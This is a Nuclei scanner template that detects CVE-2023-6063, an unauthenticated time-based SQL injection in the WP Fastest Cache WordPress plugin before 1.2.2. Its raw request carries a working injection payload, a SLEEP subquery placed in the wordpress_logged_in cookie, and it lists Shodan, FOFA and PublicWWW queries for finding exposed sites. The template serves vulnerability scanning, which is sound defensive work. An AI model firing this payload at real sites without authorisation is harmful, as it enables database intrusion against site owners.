id: CVE-2023-6063

info:
  name: WP Fastest Cache 1.2.2 - SQL Injection
  author: DhiyaneshDK
  severity: high
  description: |
    The WP Fastest Cache WordPress plugin before 1.2.2 does not properly sanitise and escape a parameter before using it in a SQL statement, leading to a SQL injection exploitable by unauthenticated users.
  remediation: Fixed in 1.2.2
  reference:
    - https://wpscan.com/blog/unauthenticated-sql-injection-vulnerability-addressed-in-wp-fastest-cache-1-2-2/
    - https://wordpress.org/plugins/wp-fastest-cache/
    - https://github.com/motikan2010/CVE-2023-6063-PoC
    - https://nvd.nist.gov/vuln/detail/CVE-2023-6063
    - https://wpscan.com/vulnerability/30a74105-8ade-4198-abe2-1c6f2967443e/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2023-6063
    cwe-id: CWE-89
    epss-score: 0.02974
    epss-percentile: 0.90865
    cpe: cpe:2.3:a:wpfastestcache:wp_fastest_cache:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    vendor: wpfastestcache
    product: "wp_fastest_cache"
    framework: wordpress
    shodan-query: "http.html:/wp-content/plugins/wp-fastest-cache/"
    fofa-query: "body=/wp-content/plugins/wp-fastest-cache/"
    publicwww-query: "/wp-content/plugins/wp-fastest-cache/"
  tags: time-based-sqli,cve,cve2023,wp-fastest-cache,wpscan,wordpress,wp-plugin,sqli,wpfastestcache
flow: |
    if (http(1)) {
        for (let i = 0; i < 2; i++) {
            http(2);
        }}

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/wp-fastest-cache/readme.txt"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "WP Fastest Cache")'
        condition: and
        internal: true

  - raw:
      - |
        @timeout: 20s
        GET /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Cookie: wordpress_logged_in=" AND (SELECT 5025 FROM (SELECT(SLEEP(7)))NkcI) AND "tqKU"="tqKU

    matchers:
      - type: dsl
        dsl:
          - 'duration>=7'
          - 'status_code == 200'
          - 'contains(body, "/wp-")'
        condition: and
# digest: 4b0a00483046022100b60cb97729f689011952f6766c4637b91034be0bbf274b13deb804693a8284bc022100a8b5088c8de3f4253d2643f97bb27831eebf369a8544b2a8fa55a7f965546bbb:922c64590222798bb761d5b6d8e72950